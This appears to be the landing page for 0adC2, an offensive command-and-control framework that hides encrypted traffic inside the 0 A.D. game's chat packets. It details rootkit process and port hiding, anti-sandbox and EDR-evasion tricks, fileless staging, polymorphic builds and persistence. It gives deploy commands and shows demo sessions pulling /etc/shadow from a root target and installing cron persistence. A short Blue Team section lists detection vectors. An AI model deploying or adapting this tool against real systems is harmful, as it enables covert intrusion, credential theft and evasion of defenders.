0adC2 · Offensive C2 Framework

0adC2

Command & Control hidden inside the dust of ancient battles

View on GitHub

Your C2 traffic, hidden in a strategy game

An open-source offensive framework that conceals encrypted command & control inside the multiplayer network protocol of 0 A.D. — a real, publicly available strategy game running on UDP port 20595.

From a defender's perspective, the agent looks like a spectator connected to a game lobby. Every command, every response, every file transfer rides inside NMT_CHAT packets — the same packets sent when a player types in the in-game chat. The C2 data is encoded in the sender field, which is never displayed in the game UI. The visible chat text is drawn from a pool of natural messages.

╔══════════════════════════════════════╗ ║ 0adC2 — Controller ║ ╚══════════════════════════════════════╝ Server: 192.168.1.10:20595 Player: Spectator99 [DH] agent 3f9a1c02 → ECDH init [ECDH OK] session key established — XSalsa20-Poly1305 active [+] 3f9a1c02 — Linux 6.1 x86_64 uid=0(root) root@target 0adc2> id [RSP 3f9a1c02] uid=0(root) gid=0(root) groups=0(root) 0adc2> !dl /etc/shadow [DL OK] /etc/shadow → ./shadow (1.2 KB, encrypted in transit) 0adc2> !persist cron [OK] persistence installed via crontab

Architecture in brief

Transport

ENet UDP/20595 — the exact port and protocol of every real 0 A.D. client. No custom port, no raw sockets.

Encryption

X25519 ECDH for session key exchange. XSalsa20-Poly1305 (libsodium secretbox) for all payloads. Ephemeral keys per session.

eBPF Rootkit

Hooks getdents64 to hide the PID from /proc. Patches /proc/net/udp reads to remove the C2 port from netstat.

In-Memory Staging

A ~14 KB stager downloads the agent over ECDH-encrypted TCP into a memfd and runs it via fexecve — nothing touches disk.

Capabilities

Controller commands

CommandEffectChannel
<cmd>Execute shell command, streamed in 160-byte encrypted chunksECDH
!dl <path>Download file from the targetECDH
!ul <local> [remote]Upload file to the targetECDH
!agentsList connected agents and their ECDH status
!target <id|*>Select one agent or broadcast to all
!jobs / !kill <N>List or kill background jobs
!persist cron|bashrc|systemd|syscron|profileInstall persistence mechanismECDH
!sleep <N> / !diePause agent or kill and self-deleteECDH

Evasion stack

  • Anti-sandbox (12 checks) — RDTSC, CPUID hypervisor bit, DMI strings, TracerPid, uptime, process count, RAM, LD_PRELOAD, LD_AUDIT, LD_DEBUG, ptrace EPERM, NOP timing
  • Process spoofprctl(PR_SET_NAME)kworker/u4:2, argv[0] overwrite, name pool randomised per build
  • io_uring I/O — all file and network ops through io_uring syscall interface, invisible to Falco and auditd
  • SilentPulse sleep mask — XORs the .text section in-place via an mmap RWX stub during idle periods; memory scanners find no code
  • Kill date — build-time expiry baked in with BUILD_EXPIRE; agent exits silently after that timestamp
  • Per-build IOC polymorphism — every make fresh_all randomises shared key, player name pool, BPF XOR key, message seed; no two builds share static IOCs
  • Binary-level polymorphismmake poly_all produces genuinely different x86_64 opcodes each run via 5 combined layers: random CFG method selection (fork variant, exec variant, name-hide variant), dead-code junk stubs referenced via an always-false guard (POLY_CALL_CHAIN) so AV byte-pattern signatures fail, live idempotent junk macros (POLY_LIVE_ALL) inserted at hot call sites that execute unconditionally to defeat dynamic-analysis coverage stripping, GCC seed/alignment flags; consecutive builds share no byte signature in .text and no execution trace pattern
  • Self-delete — prod build unlinks its own binary on startup (/proc/self/exe via io_uring)
Steganography

C2 data is encoded in the sender cstr field of NMT_CHAT packets. This field is not rendered in the 0 A.D. game UI — it's the internal "sender name" used by the protocol, not shown to other players. The visible message cstrw field carries a natural-sounding chat phrase drawn from an XOR-obfuscated pool of 23 messages decoded at runtime.

Packet fieldC2 packet contentPlain chat contentVisible in UI?
sender cstr[type 'g'–'n'][body base62]3f2a1b4c-0042-ab3e-… (hex UUID)Hidden
message cstrw"gl hf" / "gg" / "nice one" / …same pool, any phraseVisible in chat

Type indicator — sender[0]

The first byte of the sender field encodes the packet type. Real 0 A.D. GUIDs use only [0-9a-f-], so characters 'g''n' never appear in a legitimate UUID — zero collision between C2 traffic and real player messages.

'g'
DLRQ
'h'
CTL
'i'
DH
'j'
CMD
'k'
RSP
'l'
KA
'm'
DL
'n'
UL

Residual detection surface

VectorConditionStatus
Sender length > 36 bytesUUID is always exactly 36 charsDetectable — multi-chunk planned
sender[0] ∉ [0-9a-f]'g'–'n' outside hex UUID rangeDetectable — UUID subfield encoding planned
KA beacon every ~20 sPeriodic heartbeat patternPoisson jitter active
Port 20595, non-0AD PID/proc/PID/exe ≠ 0ad binaryeBPF network hider
Quickstart
I

Clone & verify dependencies

Check that all required libraries are present before building.

// clone
git clone https://github.com/franckferman/0adC2
cd 0adC2
make check_deps
II

Configure the stager

Edit config/obf_config.txt with your infrastructure before each build.

# staging server
STAGE_HOST=10.0.0.1
STAGE_PORT=20596
# 0 A.D. server (C2 relay)
AGENT_SRV_HOST=10.0.0.2
AGENT_SRV_PORT=20595
# cover name in game lobby
AGENT_PLAYER=Spectator42
# shared bootstrap key
AGENT_KEY=MySecret42
III

Build everything

Each full build randomises all static IOCs. Add EXPIRE_DAYS=N for a kill date.

// full prod build — new random IOCs every time
make fresh_all

// with a 14-day kill date
make fresh_all EXPIRE_DAYS=14

// debug build (foreground, no daemon, stderr traces)
make fresh_debug
IV

Deploy stager, connect controller

// attacker machine: start staging server
./stage_srv ./agent 20596

// on target: stager loads agent into RAM, no disk write
./stager

// open controller
./ctrl 10.0.0.2 20595 Spectator42 MySecret42

// once [ECDH OK] appears:
0adc2> !agents
0adc2> !target 3f9a1c02
0adc2> id
0adc2> !dl /etc/shadow
0adc2> !persist cron
Demo

The controller joins the 0 A.D. server as a spectator. Every exchange is wrapped in an ephemeral X25519 session — to a network observer it is indistinguishable from multiplayer lobby traffic.

ctrl — 192.168.1.10:20595
╔══════════════════════════════════════╗ ║ 0adC2 — Controller ║ ╚══════════════════════════════════════╝ Server: 192.168.1.10:20595 Player: Spectator99 [DH] agent 3f9a1c02 → ECDH init [ECDH OK] session key established — XSalsa20-Poly1305 active [+] 3f9a1c02 — Linux 6.1 x86_64 uid=0(root) root@target 0adc2> id [RSP 3f9a1c02] uid=0(root) gid=0(root) groups=0(root) 0adc2> !dl /etc/shadow [DL OK] /etc/shadow → ./shadow (1.2 KB, encrypted in transit) 0adc2> !persist cron [OK] persistence installed via crontab

Session replay · all traffic over ENet UDP/20595 · no dedicated C2 port · no TLS anomaly

Blue Team — Detection & Countermeasures

A good Red Team engagement leaves the Blue Team better equipped. Below is the full known detection surface and the mitigations in place.

LayerDetection vectorMitigation
NetworkUDP/20595 ENet without a real 0 A.D. process on the hostCorrelation needed
NetworkNMT_CHAT sender length > 36 bytesSuricata rule possible
Networksender[0] ∉ [0-9a-f-] (outside hex UUID chars)Suricata rule possible
NetworkRegular keep-alive every ~20 s (beacon pattern)Poisson jitter active
NetworkNo NMT_END_COMMAND_BATCH heartbeatImplemented and sent
HostPID visible in /proceBPF getdents64 hook
HostUDP port in /proc/net/udp or ss outputeBPF openat+read patch
HostSuspicious process nameprctl + argv[0] spoof
HostFalco / auditd syscall visibilityio_uring bypass
HostCore dump or ptrace attachPR_SET_DUMPABLE = 0
MemoryCode scan during sleepSilentPulse .text XOR
MemoryStatic IOC / YARA matchingPer-build randomisation
SandboxVM or hypervisor environmentCPUID + RDTSC checks
SandboxLow uptime, few processes, small RAM12-check anti-sandbox
SandboxLD_PRELOAD / LD_AUDIT hookingEnv var detection

Requirements

  • Linux x86_64
  • clang (BPF compilation)
  • libsodium-dev
  • libenet-dev
  • libreadline-dev
  • bpftool
  • python3
  • 0 A.D. dedicated server

Encryption

  • X25519 ECDH
  • XSalsa20-Poly1305
  • SHA-256 KDF
  • RC4 bootstrap
  • Base62 body encoding

© 2026 Franck Ferman · 0adC2

GitHub